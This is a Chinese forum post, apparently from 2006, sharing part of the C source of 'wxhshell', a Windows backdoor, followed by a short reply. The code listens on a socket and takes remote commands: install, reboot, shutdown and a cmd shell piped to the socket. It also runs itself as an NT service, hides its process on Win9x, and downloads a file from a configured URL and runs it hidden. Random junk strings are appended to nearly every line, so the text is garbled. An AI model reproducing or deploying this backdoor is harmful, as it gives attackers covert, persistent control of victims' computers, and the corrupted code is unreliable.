  if(DownloadFile(cmd,wsh)) RU#F8O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/Zh^foG  
  else se9>.}zZN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j !H^-d}q  
  } 1AD]v<M  
  else { ej(ikj~j  
~E5z"o6$  
    switch(cmd[0]) { D Ml?o:l  
  >m6&bfy\q  
  // 帮助 y 1\'( 1  
  case '?': {  Mps5Vv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =^;P#kX  
    break; `[fx yg:u  
  } ~O6\6$3b5E  
  // 安装 nH-V{=**  
  case 'i': { $XnPwOj  
    if(Install()) >3.X?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJ0NPI56yP  
    else cr;`Tl~}s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +^|iZbZKx  
    break;  aSutM  
    } 0<p{BL 8  
  // 卸载 R.9V,R5  
  case 'r': { PoSpkJH  
    if(Uninstall()) a;AzY'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dt|)=a  
    else EHf\L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~+6Vdx m  
    break; 9i q""  
    } \wvg,j=  
  // 显示 wxhshell 所在路径 +-?/e-z")  
  case 'p': { yYZxLJ='  
    char svExeFile[MAX_PATH]; x.mrCJn)  
    strcpy(svExeFile,"\n\r"); u9qMqeF  
      strcat(svExeFile,ExeFile); w n|]{Ww35  
        send(wsh,svExeFile,strlen(svExeFile),0); 1GCzyBSbb  
    break; 1fU,5+PH  
    } dtt~ Bd  
  // 重启 cC{"<fYF  
  case 'b': { 0%`4px4J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :mcYZPX#  
    if(Boot(REBOOT)) D<$XyP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /iaf ^ >  
    else { C~% 1w%nn  
    closesocket(wsh); ay )/q5  
    ExitThread(0); #U mF-c  
    } }iB|sl2J  
    break; "2ru7Y"  
    } _HOIT  
  // 关机 r=.A'"Kf  
  case 'd': { 8 .>/6M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l`9t}  
    if(Boot(SHUTDOWN)) 0#o/^Ah  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _l`e#XbG  
    else { 6A R2htN^  
    closesocket(wsh); I^\&y(LJF  
    ExitThread(0); *XOJnyC_H  
    } &EGqgNl  
    break; nk"NmIf  
    } (rtY!<|p  
  // 获取shell |OO in]5  
  case 's': { WiL2  
    CmdShell(wsh); "_UdBG  
    closesocket(wsh); }n:?7  
    ExitThread(0); KL,/2 (  
    break; _*M42<wcO  
  } g`^X#-!(  
  // 退出 l\0w;:N3  
  case 'x': { n"Veem[_4g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `mfq 2bVc  
    CloseIt(wsh); /UcV  
    break; iSLGwTdLn  
    } zw<p74DH  
  // 离开 . 5y"38e  
  case 'q': { ZzGahtx)Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w8Q<r.  
    closesocket(wsh); )::>q5c  
    WSACleanup(); 9# 4Y1LS)  
    exit(1); #FOqP!p.E  
    break; BimjQ;jtI  
        } a 3SlxsWW  
  } URgk^nt2p  
  } e!-,PU9+  
.R*!aK  
  // 提示信息 WS8+7O'1\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r;>+)**@vl  
} X r63?N  
  } BAj-akc f  
k,F"-K+M  
  return; `A$!]&[~|  
} Xl7aGlH  
M,5j5<7  
// shell模块句柄 d$ACDX2  
int CmdShell(SOCKET sock) }kHdK vZ  
{ *.-.iY.a]  
STARTUPINFO si; 1F8 W9b^D  
ZeroMemory(&si,sizeof(si)); 1F'1>Bu~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WO5O?jo'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b3-e R5U/  
PROCESS_INFORMATION ProcessInfo; OI1ud/>h  
char cmdline[]="cmd"; #eZ6)i<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >Hb^P)3  
  return 0; q#A(gyy  
} l ASL8O&\  
n]_[NR) i  
// 自身启动模式 rPNb\Ri  
int StartFromService(void) 63|+2-E2Q  
{ BcjP+$k4_  
typedef struct `vG,}Pt]  
{ d,vNem-Z*L  
  DWORD ExitStatus; h}_~y'^!  
  DWORD PebBaseAddress; Lf([dE1  
  DWORD AffinityMask; G0 J4O!3  
  DWORD BasePriority; c !ZM  
  ULONG UniqueProcessId; i@5[FC  
  ULONG InheritedFromUniqueProcessId; HW4 .zw  
}   PROCESS_BASIC_INFORMATION; o; a:Dd  
c}*2$1  
PROCNTQSIP NtQueryInformationProcess; Ma*y=d;,1  
z{"2S="  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lU^;Z 6f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {CG_P,FO  
r=/;iH?UH  
  HANDLE             hProcess; aJL^AG  
  PROCESS_BASIC_INFORMATION pbi; AsS$C&^  
r)9Dy,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f %lD08Sl  
  if(NULL == hInst ) return 0; Sd/?&  
EpS(o>'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @l1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +x? #DH-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $8USyGi3J  
m=AqV:%|  
  if (!NtQueryInformationProcess) return 0; X{n- N5*  
Ut-B^x)gl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {qW~"z*  
  if(!hProcess) return 0; P&d"V<  
b*;"q9u5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 07Gv*.  
w;}@'GgL  
  CloseHandle(hProcess); `~eX55W  
h)1qp Qj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c^rOImZ  
if(hProcess==NULL) return 0; 9=w|)p )  
9odJr]  
HMODULE hMod; RCTQhTy=  
char procName[255]; v%k9M{  
unsigned long cbNeeded; YCe7<3>J4  
TSAU?r\P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^=n+T7"J  
@D-AO_  
  CloseHandle(hProcess); ^J Z^>E~  
\ \BCcr\l  
if(strstr(procName,"services")) return 1; // 以服务启动 9YsR~SM  
Qu=LnGo~P  
  return 0; // 注册表启动  nVu&/  
} f)c~cJz<q  
di)*-+  
// 主模块 9!9Z~ /*m  
int StartWxhshell(LPSTR lpCmdLine) ZvYLL{>}w  
{ j*e6 vX  
  SOCKET wsl; mNf8kwr  
BOOL val=TRUE; E3@QI?n^^  
  int port=0; {mWui9 %M  
  struct sockaddr_in door; [S.ZJUns  
RT93Mt%P  
  if(wscfg.ws_autoins) Install(); < v]3g  
<R%;~){  
port=atoi(lpCmdLine); tx"sH]n  
B QcE9~H  
if(port<=0) port=wscfg.ws_port; JG C=(;  
kyAXRwzI  
  WSADATA data; O3N0YGhJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I$Qs;- (  
@prG%vb"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4`Q3v4fOF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;fw1  
  door.sin_family = AF_INET; {X2`&<i6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BR'I+lQ  
  door.sin_port = htons(port); ,BFE=:ZIK  
"fg](Cp[z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "dR |[a<#g  
closesocket(wsl); $M_x!f'{>  
return 1; RH}A  
} =X?\MVWB  
mcz+ P |  
  if(listen(wsl,2) == INVALID_SOCKET) { f:g,_|JD$  
closesocket(wsl); d=,%= @  
return 1; ;})5:\h  
} bifS 2>c  
  Wxhshell(wsl); ]M)O YY  
  WSACleanup(); ZpUCfS)|&  
j8|g!>Nv  
return 0; =fm]Dl9h*  
hYQ_45Z*?  
} *A}cL  
g }laG8  
// 以NT服务方式启动 kc7lc|'z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mzQ`N}]T:  
{ 2tROT][J%  
DWORD   status = 0; g8!wb{8?s  
  DWORD   specificError = 0xfffffff; H Te<x  
kc/{[ME  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b{fQ|QD{^E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0y<wvLv2C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7W6cM%_B  
  serviceStatus.dwWin32ExitCode     = 0; R*|LI  
  serviceStatus.dwServiceSpecificExitCode = 0; Z~A@o ""F  
  serviceStatus.dwCheckPoint       = 0; i,13b e  
  serviceStatus.dwWaitHint       = 0; [1Ydo`  
A2}Rl%+X]6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MNH1D! }  
  if (hServiceStatusHandle==0) return; |QV!-LK  
jjJ2>3avY  
status = GetLastError(); qQ!1t>j+H  
  if (status!=NO_ERROR) 0Ok,oW {  
{ Qb8KPpd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZVeaTK4_ t  
    serviceStatus.dwCheckPoint       = 0; pfx3C*  
    serviceStatus.dwWaitHint       = 0;  0l;<5  
    serviceStatus.dwWin32ExitCode     = status; H+ h07\? %  
    serviceStatus.dwServiceSpecificExitCode = specificError; x8;`i$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \rykBxs  
    return; mMMQ|ea  
  } o ]IjK  
IVr 2y8K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >NB?& |  
  serviceStatus.dwCheckPoint       = 0; bCZ g cN  
  serviceStatus.dwWaitHint       = 0; $A3<G-4O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i{D=l7j|w  
} +GsWTEz   
jGrN\D?h  
// 处理NT服务事件,比如:启动、停止 B2Xn?i3 l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @"T"7c?Cv  
{ i(? ,6)9  
switch(fdwControl)  FgL,k  
{ +n}$pM|NKU  
case SERVICE_CONTROL_STOP: PSawMPw  
  serviceStatus.dwWin32ExitCode = 0; y*{Zbz#{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rl|4S[  
  serviceStatus.dwCheckPoint   = 0; [i0Hm)Bd3  
  serviceStatus.dwWaitHint     = 0; k%y9aO  
  { T0)"1D<l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3]-_q"Co4f  
  } `nUO l  
  return; l"n{.aL  
case SERVICE_CONTROL_PAUSE: >;z<j$;F<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iCP/P%  
  break; jlFk@:y4  
case SERVICE_CONTROL_CONTINUE: VF&Z%O3n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]pEV}@7  
  break; :S$l"wrh\  
case SERVICE_CONTROL_INTERROGATE: a?yMHb{F  
  break; @|a>&~xX  
}; v#=`%]mL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~x{.jn  
} K^r)CCO  
E,n}HiAz7V  
// 标准应用程序主函数 ]d[ge6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $8l({:*q0  
{ Wl h~)   
B*htN  
// 获取操作系统版本 R(j1n,c]  
OsIsNt=GetOsVer(); iut`7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5>J=YLq  
U|G|l|Bl  
  // 从命令行安装 qH"Gm  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]]}tdn_  
WWT",gio  
  // 下载执行文件 PX|=(:(k  
if(wscfg.ws_downexe) { XW JwJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q P ;A}C  
  WinExec(wscfg.ws_filenam,SW_HIDE); &h*S y  
} F_xbwa*=  
#S%Q*k<hw  
if(!OsIsNt) { y]%w)4PS  
// 如果时win9x,隐藏进程并且设置为注册表启动 S' dV>m`  
HideProc(); 6.t',LTB  
StartWxhshell(lpCmdLine); I2(zxq&2M\  
} CukC6u b  
else _WX#a|4h{  
  if(StartFromService()) 569}Xbc/  
  // 以服务方式启动 m~Ld~I"  
  StartServiceCtrlDispatcher(DispatchTable); Z%Z9oJ:  
else Gamr6I"K  
  // 普通方式启动 &;LqF#ZL  
  StartWxhshell(lpCmdLine); I *c;H I  
?Z\Yu'  
return 0; .I3?7  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八